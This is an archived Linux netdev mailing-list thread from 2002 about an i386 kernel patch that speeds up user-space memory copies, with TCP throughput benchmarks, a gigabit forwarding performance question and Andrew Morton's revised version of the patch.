manand@us.ibm.com Mon Sep 30 09:51:34 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 09:51:38 -0700 (PDT) Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.131]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UGpYtG030465 for ; Mon, 30 Sep 2002 09:51:34 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e33.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g8UGpMqj071642; Mon, 30 Sep 2002 12:51:23 -0400 Received: from d03nm123.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g8UGqdwC131058; Mon, 30 Sep 2002 10:52:39 -0600 Subject: Copy patch for kernel 2.5.38 To: akpm@digeo.com, Hirokazu Takahashi , , , lse-tech@lists.sourceforge.net X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: "Mala Anand" Date: Mon, 30 Sep 2002 11:51:22 -0500 X-MIMETrack: Serialize by Router on D03NM123/03/M/IBM(Release 5.0.10 |March 22, 2002) at 09/30/2002 10:51:21 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-archive-position: 437 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: manand@us.ibm.com Precedence: bulk X-list: netdev Attached is the patch that adds an unrolled loop copy using integer registers.I posted this patch in June 2002 and I received some suggestions at that time. As a result I changed the inline code to subroutines. The generic_copy_to_user and generic_copy_from_user call these new routines if the src and dst addresses are not aligned on an 8-byte boundary. I also used Hirokazu Takahashi's csum patch along with the copy patch (called as patch2 below) which would use the new copy routine at the send side also. For the first case where I didn't use csum patch, the send side used csum_partial_copy_generic. Since kernel 2.5.38 does not compile for a UNI processor, I ran the test on SMP with maxcpus set to 1. Two 996 MHz Pentium III 2-way systems with 4 gig memory/256KB L2 cache are used. Each system has oneIntel Gigabit Ethernet network card. 2.5.38 kernel from www.kernel.org was used without highmem support. Intel e1000 driver (the one in the kernel) is used Napi is not enabled, however I ran the tests with and without TSO. The TCP_STREAM test was run with TCP-NO Deay ON, 64k socket buffer size and with a mtu size of 1500. The rest of tcp parameters used are default values. Only copypatch is used: ----------------------- 2.5.38 2.5.38+patch -- % improvement using patch -- msg Throughput Throughput Sender Receiver size 10^6bits/s 10^6bits/s Throughput CPU CPU 512 507.7 538.2 6.0 % -6.4 % 0.0 % 1024 566.3 584.8 3.3 % -16.5 % 1.7 % 2048 503.7 595.8 18.3 % -14.9 % -21.3 % 4096 578.5 600.3 3.8 % -19.7 % -0.5 % 8192 624.7 700.9 12.2 % - 2.2 % -1.4 % 16384 593.5 632.9 6.6 % 0.9 % -6.7 % 32768 659.9 584.9 -11.4 % 7.0 % 11.4 % 65536 655.8 697.7 6.4 % -1.0 % 0.5 % I used Hirokazu Takahashi's csumpartial_fix patch which is available at ftp://ftp.valinux.co.jp/pub/people/taka/2.5.36/va-csumpartial-fix-2.5.36.patch . The patch applies on 2.5.38 cleanly. With this patch, checksum is done by the hardware and the new copyroutine is used at the sender side. copypatch + csumpatch are used: ------------------------------- 2.5.38 2.5.38+patch2 -- % improvement using patch -- msg Throughput Throughput Sender Receiver size 10^6bits/s 10^6bits/s Throughput CPU CPU 512 507.7 543.0 7.0 % -5.5 % 0.0 % 1024 566.3 587.0 3.7 % -17.8 % 1.5 % 2048 503.7 577.2 14.6 % -19.6 % -11.0 % 4096 578.5 561.0 -3.0 % -2.0 % 4.8 % 8192 624.7 624.2 -0.1 % 11.4 % 10.3 % 16384 593.5 611.0 2.9% 20.5 % -0.4 % 32768 659.9 628.3 -4.8% 27.6 % 7.8 % 65536 655.8 699.6 6.7 % 19.0 % 2.5 % Since I saw an interrupt pause problem with 2.5.38 running netperf3, I disabled TSO and ran the same tests with the same configuration except for TSO and the results from this tests are as follows: NO_TSO NO_TSO 2.5.38 2.5.38+patch -- % improvement using patch -- msg Throughput Throughput Sender Receiver size 10^6bits/s 10^6bits/s Throughput CPU CPU 512 497.9 546.3 9.7 % -6.3 % 0.0 % 1024 550.5 603.4 9.6 % -7.5 % 0.0 % 2048 586.9 649.4 10.6 % -8.0% 0.0 % 4096 620.5 690.4 11.3 % -11.6% 0.0 % 8192 647.6 726.8 12.2 % -16.5% 0.0 % 16384 669.1 756.3 13.0 % -14.8% 0.0 % 32768 650.9 734.3 12.8 % -13.4% 0.0 % 65536 626.9 701.8 11.9 % -12.9% 0.1 % copypatch + csumpatch are used: ------------------------------- NO_TSO NO_TSO 2.5.38 2.5.38+patch2 -- % improvement using patch -- msg Throughput Throughput Sender Receiver size 10^6bits/s 10^6bits/s Throughput CPU CPU 512 497.9 540.1 8.5% -5.5 % 0.0 % 1024 550.5 601.2 9.2 % -4.9 % 0.0 % 2048 586.9 647.6 10.3 % -4.7 % 0.0 % 4096 620.5 690.9 11.3 % -0.8 % 0.0 % 8192 647.6 738.3 14.0 % -7.4 % 0.0 % 16384 669.1 763.5 14.1 % -5.3 % 0.0 % 32768 650.9 733.7 12.7 % -3.1 % 0.0 % 65536 626.9 712.8 13.7 % -2.9 % 0.5 % In the non tso case, the throughput improved for all the message sizes, and sender side CPU utilization is improved with the csum patch. I did not see the interrupt pause problem when I disabled TSO in 2.5.38 kernel. The updated copy patch for 2.5.38 is given here: diff -Naurb linux-2538/arch/i386/lib/usercopy.c linux-2538copy/arch/i386/lib/usercopy.c --- linux-2538/arch/i386/lib/usercopy.c Tue Sep 24 08:25:56 2002 +++ linux-2538copy/arch/i386/lib/usercopy.c Mon Sep 30 10:53:39 2002 @@ -45,8 +45,12 @@ __generic_copy_to_user(void *to, const void *from, unsigned long n) { prefetch(from); - if (access_ok(VERIFY_WRITE, to, n)) + if (access_ok(VERIFY_WRITE, to, n)){ + if ((n < 64) || ((((int)from | (int)to) & 0x00000007)==0)) __copy_user(to,from,n); + else + n=__copy_user_int(to,from,n); + } return n; } @@ -54,9 +58,13 @@ __generic_copy_from_user(void *to, const void *from, unsigned long n) { prefetchw(to); - if (access_ok(VERIFY_READ, from, n)) + if (access_ok(VERIFY_READ, from, n)){ + if ((n < 64) || ((((int)from | (int)to) & 0x00000007)==0)) __copy_user_zeroing(to,from,n); else + n=__copy_user_zeroing_int(to,from,n); + } + else memset(to, 0, n); return n; } @@ -188,3 +196,191 @@ :"cc"); return res & mask; } + + +/* + * Copy To/From Userspace + */ + +/* Generic arbitrary sized copy. */ +unsigned long __copy_user_int(void *to, const void *from,unsigned long size){ + int d0, d1; + __asm__ __volatile__( + " .align 2,0x90\n" + "0: movl 32(%4), %%eax\n" + " cmpl $67, %0\n" + " jbe 1f\n" + " movl 64(%4), %%eax\n" + " .align 2,0x90\n" + "1: movl 0(%4), %%eax\n" + " movl 4(%4), %%edx\n" + "2: movl %%eax, 0(%3)\n" + "21: movl %%edx, 4(%3)\n" + " movl 8(%4), %%eax\n" + " movl 12(%4),%%edx\n" + "3: movl %%eax, 8(%3)\n" + "31: movl %%edx, 12(%3)\n" + " movl 16(%4), %%eax\n" + " movl 20(%4), %%edx\n" + "4: movl %%eax, 16(%3)\n" + "41: movl %%edx, 20(%3)\n" + " movl 24(%4), %%eax\n" + " movl 28(%4), %%edx\n" + "10: movl %%eax, 24(%3)\n" + "51: movl %%edx, 28(%3)\n" + " movl 32(%4), %%eax\n" + " movl 36(%4), %%edx\n" + "11: movl %%eax, 32(%3)\n" + "61: movl %%edx, 36(%3)\n" + " movl 40(%4), %%eax\n" + " movl 44(%4), %%edx\n" + "12: movl %%eax, 40(%3)\n" + "71: movl %%edx, 44(%3)\n" + " movl 48(%4), %%eax\n" + " movl 52(%4), %%edx\n" + "13: movl %%eax, 48(%3)\n" + "81: movl %%edx, 52(%3)\n" + " movl 56(%4), %%eax\n" + " movl 60(%4), %%edx\n" + "14: movl %%eax, 56(%3)\n" + "91: movl %%edx, 60(%3)\n" + " addl $-64, %0\n" + " addl $64, %4\n" + " addl $64, %3\n" + " cmpl $63, %0\n" + " ja 0b\n" + "5: movl %0, %%eax\n" + " shrl $2, %0\n" + " andl $3, %%eax\n" + " cld\n" + "6: rep; movsl\n" + " movl %%eax, %0\n" + "7: rep; movsb\n" + "8:\n" + ".section .fixup,\"ax\"\n" + "9: lea 0(%%eax,%0,4),%0\n" + " jmp 8b\n" + "15: movl %6, %0\n" + " jmp 8b\n" + ".previous\n" + ".section __ex_table,\"a\"\n" + " .align 4\n" + " .long 2b,15b\n" + " .long 21b,15b\n" + " .long 3b,15b\n" + " .long 31b,15b\n" + " .long 4b,15b\n" + " .long 41b,15b\n" + " .long 10b,15b\n" + " .long 51b,15b\n" + " .long 11b,15b\n" + " .long 61b,15b\n" + " .long 12b,15b\n" + " .long 71b,15b\n" + " .long 13b,15b\n" + " .long 81b,15b\n" + " .long 14b,15b\n" + " .long 91b,15b\n" + " .long 6b,9b\n" + " .long 7b,8b\n" + ".previous" + : "=&c"(size), "=&D" (d0), "=&S" (d1) + : "1"(to), "2"(from), "0"(size),"i"(-EFAULT) + : "eax", "edx", "memory"); + return size; +} + +unsigned long __copy_user_zeroing_int(void *to,const void *from, unsigned long size){ + int d0, d1; + __asm__ __volatile__( + " .align 2,0x90\n" + "0: movl 32(%4), %%eax\n" + " cmpl $67, %0\n" + " jbe 2f\n" + "1: movl 64(%4), %%eax\n" + " .align 2,0x90\n" + "2: movl 0(%4), %%eax\n" + "21: movl 4(%4), %%edx\n" + " movl %%eax, 0(%3)\n" + " movl %%edx, 4(%3)\n" + "3: movl 8(%4), %%eax\n" + "31: movl 12(%4),%%edx\n" + " movl %%eax, 8(%3)\n" + " movl %%edx, 12(%3)\n" + "4: movl 16(%4), %%eax\n" + "41: movl 20(%4), %%edx\n" + " movl %%eax, 16(%3)\n" + " movl %%edx, 20(%3)\n" + "10: movl 24(%4), %%eax\n" + "51: movl 28(%4), %%edx\n" + " movl %%eax, 24(%3)\n" + " movl %%edx, 28(%3)\n" + "11: movl 32(%4), %%eax\n" + "61: movl 36(%4), %%edx\n" + " movl %%eax, 32(%3)\n" + " movl %%edx, 36(%3)\n" + "12: movl 40(%4), %%eax\n" + "71: movl 44(%4), %%edx\n" + " movl %%eax, 40(%3)\n" + " movl %%edx, 44(%3)\n" + "13: movl 48(%4), %%eax\n" + "81: movl 52(%4), %%edx\n" + " movl %%eax, 48(%3)\n" + " movl %%edx, 52(%3)\n" + "14: movl 56(%4), %%eax\n" + "91: movl 60(%4), %%edx\n" + " movl %%eax, 56(%3)\n" + " movl %%edx, 60(%3)\n" + " addl $-64, %0\n" + " addl $64, %4\n" + " addl $64, %3\n" + " cmpl $63, %0\n" + " ja 0b\n" + "5: movl %0, %%eax\n" + " shrl $2, %0\n" + " andl $3, %%eax\n" + " cld\n" + "6: rep; movsl\n" + " movl %%eax,%0\n" + "7: rep; movsb\n" + "8:\n" + ".section .fixup,\"ax\"\n" + "9: lea 0(%%eax,%0,4),%0\n" + "16: pushl %0\n" + " pushl %%eax\n" + " xorl %%eax,%%eax\n" + " rep; stosb\n" + " popl %%eax\n" + " popl %0\n" + " jmp 8b\n" + "15: movl %6, %0\n" + " jmp 8b\n" + ".previous\n" + ".section __ex_table,\"a\"\n" + " .align 4\n" + " .long 0b,16b\n" + " .long 1b,16b\n" + " .long 2b,16b\n" + " .long 21b,16b\n" + " .long 3b,16b\n" + " .long 31b,16b\n" + " .long 4b,16b\n" + " .long 41b,16b\n" + " .long 10b,16b\n" + " .long 51b,16b\n" + " .long 11b,16b\n" + " .long 61b,16b\n" + " .long 12b,16b\n" + " .long 71b,16b\n" + " .long 13b,16b\n" + " .long 81b,16b\n" + " .long 14b,16b\n" + " .long 91b,16b\n" + " .long 6b,9b\n" + " .long 7b,16b\n" + ".previous" + : "=&c"(size), "=&D" (d0), "=&S" (d1) + : "1"(to), "2"(from), "0"(size),"i"(-EFAULT) + : "eax", "edx", "memory"); + return size; +} diff -Naurb linux-2538/include/asm-i386/uaccess.h linux-2538copy/include/asm-i386/uaccess.h --- linux-2538/include/asm-i386/uaccess.h Thu Sep 26 16:27:47 2002 +++ linux-2538copy/include/asm-i386/uaccess.h Fri Sep 27 16:10:14 2002 @@ -34,6 +34,8 @@ #define segment_eq(a,b) ((a).seg == (b).seg) extern int __verify_write(const void *, unsigned long); +extern unsigned long __copy_user_int(void *to, const void *from, unsigned long size); +extern unsigned long __copy_user_zeroing_int(void *to, const void *from, unsigned long size); #define __addr_ok(addr) ((unsigned long)(addr) < (current_thread_info() ->addr_limit.seg)) @@ -309,14 +311,20 @@ static inline unsigned long __generic_copy_from_user_nocheck(void *to, const void *from, unsigned long n) { + if ((n < 64) || ((((int)from | (int)to) & 0x00000007)==0)) __copy_user_zeroing(to,from,n); + else + n=__copy_user_zeroing_int(to,from,n); return n; } static inline unsigned long __generic_copy_to_user_nocheck(void *to, const void *from, unsigned long n) { + if ((n < 64) || ((((int)from | (int)to) & 0x00000007)==0)) __copy_user(to,from,n); + else + n=__copy_user_int(to,from,n); return n; } @@ -578,24 +586,16 @@ } #define copy_to_user(to,from,n) \ - (__builtin_constant_p(n) ? \ - __constant_copy_to_user((to),(from),(n)) : \ - __generic_copy_to_user((to),(from),(n))) + __generic_copy_to_user((to),(from),(n)) #define copy_from_user(to,from,n) \ - (__builtin_constant_p(n) ? \ - __constant_copy_from_user((to),(from),(n)) : \ - __generic_copy_from_user((to),(from),(n))) + __generic_copy_from_user((to),(from),(n)) #define __copy_to_user(to,from,n) \ - (__builtin_constant_p(n) ? \ - __constant_copy_to_user_nocheck((to),(from),(n)) : \ - __generic_copy_to_user_nocheck((to),(from),(n))) + __generic_copy_to_user_nocheck((to),(from),(n)) #define __copy_from_user(to,from,n) \ - (__builtin_constant_p(n) ? \ - __constant_copy_from_user_nocheck((to),(from),(n)) : \ - __generic_copy_from_user_nocheck((to),(from),(n))) + __generic_copy_from_user_nocheck((to),(from),(n)) long strncpy_from_user(char *dst, const char *src, long count); long __strncpy_from_user(char *dst, const char *src, long count); Regards, Mala Mala Anand IBM Linux Technology Center - Kernel Performance E-mail:manand@us.ibm.com http://www-124.ibm.com/developerworks/opensource/linuxperf http://www-124.ibm.com/developerworks/projects/linuxperf Phone:838-8088; Tie-line:678-8088 From J_Fraser@bit-net.com Mon Sep 30 14:49:42 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 14:49:45 -0700 (PDT) Received: from mail.bit-net.com (mail.bit-net.com [208.146.132.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8ULnftG009522 for ; Mon, 30 Sep 2002 14:49:41 -0700 Received: from CONCORDIA (mail.crossbeamsys.com [63.96.67.2]) by mail.bit-net.com (8.9.3/8.9.2) with SMTP id RAA86158 for ; Mon, 30 Sep 2002 17:49:38 -0400 (EDT) (envelope-from J_Fraser@bit-net.com) Reply-To: From: "Jon Fraser" To: Subject: RE: Poor gige performance with 2.4.20-pre* Date: Mon, 30 Sep 2002 17:21:59 -0400 Message-ID: <010c01c268c7$69f48b90$3701020a@CONCORDIA> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <200209292054.g8TKsQv14870@vindaloo.ras.ucalgary.ca> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 X-archive-position: 438 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: J_Fraser@bit-net.com Precedence: bulk X-list: netdev Hello, I'm new to this list, so please bear with me. I'm doing similar tests with gige and am seeing similar issues. I have two different but similar test machines, both running 2.4.18 Dell 1550 dual 1 ghz PIII, 256k cache serverworks HE chipset intel E1000, 82542 chipset embedded card dual 1.266 ghz PIII, 512k cache serverworks HE chipset embedded intel E1000, 28543 chipset We're using IXIA test gear to source/sink the packets. The systems are just ip-forwarding the traffic back out the same interface. That is, we have the gige setup with aliases so it is on two different nets. I'm trying to find the bottlenecks in small packet performance. With large packets, we can exceed 900 mpbs on the embedded card, so that's not an issue. The Dell 1550 seems to run out of bus bandwidth before reaching that level. With 64 byte packets, we can achive 250 kpps running dual processor. This consumes about 65% of each cpu. Can't go faster without dropping a significant percentage of the packets. If we run with the 28543 intrrupts tied to a single processor, we can achieve about 285 kpps, at which point we're using 95% of the single cpu. Running a uniprocessor kernel, we top out around 350 kpps. There's nothing else running on the boxes. I'm perplexed by a couple of issues. The network performance of the SMP kernel with the gige bound to single processor is only about 80% of the UP kernel. Is this typical? Are the causes of the performance degradation well known? With the gige running on both processors, we get rather poor performance. We can't even reach the same number of pps on two processors that we can with one. Using cpu performance measurement counters, we seem to reach a point where there is as much time being spent doing cache invalidates as there is doing real work. All the queues and statistics are per-cpu in the 2.14.18 kernel. Are there other known problems causing excessive cache invalidates? Are there any significant improvements in later kernels? Thanks in advance, Jon Fraser > -----Original Message----- > From: netdev-bounce@oss.sgi.com [mailto:netdev-bounce@oss.sgi.com]On > Behalf Of Richard Gooch > Sent: Sunday, September 29, 2002 4:54 PM > To: Ben Greear > Cc: netdev@oss.sgi.com > Subject: Re: Poor gige performance with 2.4.20-pre* > > > Ben Greear writes: > > Richard Gooch wrote: > > > Ben Greear writes: > > > > > >>Richard Gooch wrote: > > >> > > >>> Hi, all. For a while now I've noticed poor performance > with gige > > >>>cards under 2.4.19 and 2.4.20-pre*. At first I thought > it was because > > >>>of the cheap-ass Addtron cards I bought (these use the > ns83820 chip). > > >>>But now that the Intel E1000 cards are pretty cheap too, > I've grabbed > > >>>a couple (part number: PWLA8390MT) and see the same > problem. In fact, > > >>>the E1000 cards are no better than the Addtron cards. > I'm using the > > >>>D-Link DGS-1008T 8-port gige switch. MTU=1500 bytes. > > >> > > >>Try setting the TxDescriptors=4096 RxDescriptors=1024 > when loading the > > >>e1000 module, that helps tremendously when using smaller packets. > > > > > > Didn't help at all. Just to summarise, I've got: > > > options e1000 TxDescriptors=4096 RxDescriptors=1024 > > > net.ipv4.tcp_rmem = 262144 262144 262144 > > > net.ipv4.tcp_wmem = 262144 262144 262144 > > > MTU=1500 > > > > > > I'm doing read(2)/write(2) to/from a user-space buffer over a TCP > > > socket with 256 KiB buffer size. > > > > > > Is the E1000 supposed to have hardware interrupt mitigation (thus > > > avoiding the need for NAPI)? > > > > NAPI did not greatly improve the performance I saw with > larger packets, > > but it did help with smaller (say, 60 byte) packets. > > My packets should be 1500 bytes, or close to it. > > > One other thing I saw with TCP connections: They started off slow, > > but after a few seconds they were reacing their peak throughput. > > How long are you running your test? > > I normally send 100 MB, so that's around 2 seconds or more. Sending > 1 GB doesn't change anything (other than the test taking 20 seconds or > more). > > Oh, BTW: some possibly relevant config options: > CONFIG_M686=y > CONFIG_HIGHMEM4G=y > # CONFIG_HIGHMEM64G is not set > CONFIG_HIGHMEM=y > CONFIG_HIGHIO=y > CONFIG_SMP=y > CONFIG_E1000=m > > Regards, > > Richard.... > Permanent: rgooch@atnf.csiro.au > Current: rgooch@ras.ucalgary.ca > > From Andrew.Morton@digeo.com Mon Sep 30 15:20:33 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 30 Sep 2002 15:20:37 -0700 (PDT) Received: from packet.digeo.com (packet.digeo.com [12.110.80.53]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8UMKWtG010200 for ; Mon, 30 Sep 2002 15:20:32 -0700 Received: from digeo-nav01.digeo.com (digeo-nav01.digeo.com [192.168.1.233]) by packet.digeo.com (8.9.3+Sun/8.9.3) with SMTP id PAA12060 for ; Mon, 30 Sep 2002 15:20:26 -0700 (PDT) Received: from schumi.digeo.com ([192.168.1.205]) by digeo-nav01.digeo.com (NAVGW 2.5.2.12) with SMTP id M2002093015211818471 ; Mon, 30 Sep 2002 15:21:18 -0700 Received: from pao-ex01.pao.digeo.com ([172.17.144.34]) by schumi.digeo.com with Microsoft SMTPSVC(5.0.2195.5329); Mon, 30 Sep 2002 15:20:27 -0700 Received: from digeo.com ([172.17.140.150]) by pao-ex01.pao.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Mon, 30 Sep 2002 15:20:23 -0700 Message-ID: <3D98CE3A.B47251DF@digeo.com> Date: Mon, 30 Sep 2002 15:20:42 -0700 From: Andrew Morton X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19-pre4 i686) X-Accept-Language: en MIME-Version: 1.0 To: Mala Anand CC: Hirokazu Takahashi , linux-kernel@vger.kernel.org, netdev@oss.sgi.com, lse-tech@lists.sourceforge.net Subject: Re: Copy patch for kernel 2.5.38 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 30 Sep 2002 22:20:23.0061 (UTC) FILETIME=[91A1BC50:01C268CF] X-archive-position: 439 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@digeo.com Precedence: bulk X-list: netdev Mala Anand wrote: > > Attached is the patch that adds an unrolled loop copy using > integer registers. ... OK, thanks. I'll do some pagecache testing. > __generic_copy_to_user(void *to, const void *from, unsigned long n) > { > prefetch(from); > - if (access_ok(VERIFY_WRITE, to, n)) > + if (access_ok(VERIFY_WRITE, to, n)){ > + if ((n < 64) || ((((int)from | (int)to) & 0x00000007)==0)) > __copy_user(to,from,n); > + else > + n=__copy_user_int(to,from,n); > + } > return n; > } I was going to whine about the codesize increase from this. But guess what? Your patch shrinks 17 kilobytes from my vmlinux's text section. That's almost 1%. How interesting. mnm:/usr/src/25> size vmlinux text data bss dec hex filename 1998724 313284 616692 2928700 2cb03c vmlinux mnm:/usr/src/xx> size vmlinux text data bss dec hex filename 2016531 313284 616692 2946507 2cf5cb vmlinux mnm:/usr/src/xx> expr 2016531 - 1998724 17807 mnm:/usr/src/25> size net/socket.o text data bss dec hex filename 8730 1312 192 10234 27fa net/socket.o mnm:/usr/src/xx> size net/socket.o text data bss dec hex filename 8922 1312 192 10426 28ba net/socket.o Most of this was in tcp_sendmsg(). Having looked at the asm, it's not immediately clear to me where the reductions come from. It's not due to the out-of-line exception table stuff. Looks like the inlines somehow generated smaller instructions. I bet we'd get decent gains by just making all the uaccess functions be simple subroutines. But the same goes for the rest of the kernel so whatever. Making all the out-of-line copy functions be FASTCALL increased the kernel size by 1k, so forget that. Here's what I ended up with. Your code is enabled for CONFIG_M586MMX, CONFIG_M686, CONFIG_MPENTIUMIII and CONFIG_MPENTIUM4. Because I'm pretty sure that this is specific to Intel implementations. If this tests out OK we should be able to go back to using copy_*_user in networking, rather than abusing the csum routines as faster copy functions. arch/i386/kernel/i386_ksyms.c | 4 arch/i386/lib/usercopy.c | 210 +++++++++++++++++++++++++++++++++++++++++- include/asm-i386/uaccess.h | 54 +++++++--- 3 files changed, 248 insertions(+), 20 deletions(-) --- 2.5.39/arch/i386/lib/usercopy.c~intel-user-copy Mon Sep 30 14:10:23 2002 +++ 2.5.39-akpm/arch/i386/lib/usercopy.c Mon Sep 30 15:08:43 2002 @@ -45,8 +45,12 @@ unsigned long __generic_copy_to_user(void *to, const void *from, unsigned long n) { prefetch(from); - if (access_ok(VERIFY_WRITE, to, n)) - __copy_user(to,from,n); + if (access_ok(VERIFY_WRITE, to, n)) { + if (movsl_is_ok(to, from, n)) + __copy_user(to, from, n); + else + n = __copy_user_int(to, from, n); + } return n; } @@ -54,10 +58,14 @@ unsigned long __generic_copy_from_user(void *to, const void *from, unsigned long n) { prefetchw(to); - if (access_ok(VERIFY_READ, from, n)) - __copy_user_zeroing(to,from,n); - else + if (access_ok(VERIFY_READ, from, n)) { + if (movsl_is_ok(to, from, n)) + __copy_user_zeroing(to,from,n); + else + n = __copy_user_zeroing_int(to, from, n); + } else { memset(to, 0, n); + } return n; } @@ -188,3 +196,195 @@ long strnlen_user(const char *s, long n) :"cc"); return res & mask; } + +#ifdef INTEL_MOVSL +/* + * Copy To/From Userspace + */ + +/* Generic arbitrary sized copy. */ +unsigned long __copy_user_int(void *to, const void *from,unsigned long size) +{ + int d0, d1; + __asm__ __volatile__( + " .align 2,0x90\n" + "0: movl 32(%4), %%eax\n" + " cmpl $67, %0\n" + " jbe 1f\n" + " movl 64(%4), %%eax\n" + " .align 2,0x90\n" + "1: movl 0(%4), %%eax\n" + " movl 4(%4), %%edx\n" + "2: movl %%eax, 0(%3)\n" + "21: movl %%edx, 4(%3)\n" + " movl 8(%4), %%eax\n" + " movl 12(%4),%%edx\n" + "3: movl %%eax, 8(%3)\n" + "31: movl %%edx, 12(%3)\n" + " movl 16(%4), %%eax\n" + " movl 20(%4), %%edx\n" + "4: movl %%eax, 16(%3)\n" + "41: movl %%edx, 20(%3)\n" + " movl 24(%4), %%eax\n" + " movl 28(%4), %%edx\n" + "10: movl %%eax, 24(%3)\n" + "51: movl %%edx, 28(%3)\n" + " movl 32(%4), %%eax\n" + " movl 36(%4), %%edx\n" + "11: movl %%eax, 32(%3)\n" + "61: movl %%edx, 36(%3)\n" + " movl 40(%4), %%eax\n" + " movl 44(%4), %%edx\n" + "12: movl %%eax, 40(%3)\n" + "71: movl %%edx, 44(%3)\n" + " movl 48(%4), %%eax\n" + " movl 52(%4), %%edx\n" + "13: movl %%eax, 48(%3)\n" + "81: movl %%edx, 52(%3)\n" + " movl 56(%4), %%eax\n" + " movl 60(%4), %%edx\n" + "14: movl %%eax, 56(%3)\n" + "91: movl %%edx, 60(%3)\n" + " addl $-64, %0\n" + " addl $64, %4\n" + " addl $64, %3\n" + " cmpl $63, %0\n" + " ja 0b\n" + "5: movl %0, %%eax\n" + " shrl $2, %0\n" + " andl $3, %%eax\n" + " cld\n" + "6: rep; movsl\n" + " movl %%eax, %0\n" + "7: rep; movsb\n" + "8:\n" + ".section .fixup,\"ax\"\n" + "9: lea 0(%%eax,%0,4),%0\n" + " jmp 8b\n" + "15: movl %6, %0\n" + " jmp 8b\n" + ".previous\n" + ".section __ex_table,\"a\"\n" + " .align 4\n" + " .long 2b,15b\n" + " .long 21b,15b\n" + " .long 3b,15b\n" + " .long 31b,15b\n" + " .long 4b,15b\n" + " .long 41b,15b\n" + " .long 10b,15b\n" + " .long 51b,15b\n" + " .long 11b,15b\n" + " .long 61b,15b\n" + " .long 12b,15b\n" + " .long 71b,15b\n" + " .long 13b,15b\n" + " .long 81b,15b\n" + " .long 14b,15b\n" + " .long 91b,15b\n" + " .long 6b,9b\n" + " .long 7b,8b\n" + ".previous" + : "=&c"(size), "=&D" (d0), "=&S" (d1) + : "1"(to), "2"(from), "0"(size),"i"(-EFAULT) + : "eax", "edx", "memory"); + return size; +} + +unsigned long +__copy_user_zeroing_int(void *to, const void *from, unsigned long size) +{ + int d0, d1; + __asm__ __volatile__( + " .align 2,0x90\n" + "0: movl 32(%4), %%eax\n" + " cmpl $67, %0\n" + " jbe 2f\n" + "1: movl 64(%4), %%eax\n" + " .align 2,0x90\n" + "2: movl 0(%4), %%eax\n" + "21: movl 4(%4), %%edx\n" + " movl %%eax, 0(%3)\n" + " movl %%edx, 4(%3)\n" + "3: movl 8(%4), %%eax\n" + "31: movl 12(%4),%%edx\n" + " movl %%eax, 8(%3)\n" + " movl %%edx, 12(%3)\n" + "4: movl 16(%4), %%eax\n" + "41: movl 20(%4), %%edx\n" + " movl %%eax, 16(%3)\n" + " movl %%edx, 20(%3)\n" + "10: movl 24(%4), %%eax\n" + "51: movl 28(%4), %%edx\n" + " movl %%eax, 24(%3)\n" + " movl %%edx, 28(%3)\n" + "11: movl 32(%4), %%eax\n" + "61: movl 36(%4), %%edx\n" + " movl %%eax, 32(%3)\n" + " movl %%edx, 36(%3)\n" + "12: movl 40(%4), %%eax\n" + "71: movl 44(%4), %%edx\n" + " movl %%eax, 40(%3)\n" + " movl %%edx, 44(%3)\n" + "13: movl 48(%4), %%eax\n" + "81: movl 52(%4), %%edx\n" + " movl %%eax, 48(%3)\n" + " movl %%edx, 52(%3)\n" + "14: movl 56(%4), %%eax\n" + "91: movl 60(%4), %%edx\n" + " movl %%eax, 56(%3)\n" + " movl %%edx, 60(%3)\n" + " addl $-64, %0\n" + " addl $64, %4\n" + " addl $64, %3\n" + " cmpl $63, %0\n" + " ja 0b\n" + "5: movl %0, %%eax\n" + " shrl $2, %0\n" + " andl $3, %%eax\n" + " cld\n" + "6: rep; movsl\n" + " movl %%eax,%0\n" + "7: rep; movsb\n" + "8:\n" + ".section .fixup,\"ax\"\n" + "9: lea 0(%%eax,%0,4),%0\n" + "16: pushl %0\n" + " pushl %%eax\n" + " xorl %%eax,%%eax\n" + " rep; stosb\n" + " popl %%eax\n" + " popl %0\n" + " jmp 8b\n" + "15: movl %6, %0\n" + " jmp 8b\n" + ".previous\n" + ".section __ex_table,\"a\"\n" + " .align 4\n" + " .long 0b,16b\n" + " .long 1b,16b\n" + " .long 2b,16b\n" + " .long 21b,16b\n" + " .long 3b,16b\n" + " .long 31b,16b\n" + " .long 4b,16b\n" + " .long 41b,16b\n" + " .long 10b,16b\n" + " .long 51b,16b\n" + " .long 11b,16b\n" + " .long 61b,16b\n" + " .long 12b,16b\n" + " .long 71b,16b\n" + " .long 13b,16b\n" + " .long 81b,16b\n" + " .long 14b,16b\n" + " .long 91b,16b\n" + " .long 6b,9b\n" + " .long 7b,16b\n" + ".previous" + : "=&c"(size), "=&D" (d0), "=&S" (d1) + : "1"(to), "2"(from), "0"(size),"i"(-EFAULT) + : "eax", "edx", "memory"); + return size; +} +#endif /* INTEL_MOVSL */ --- 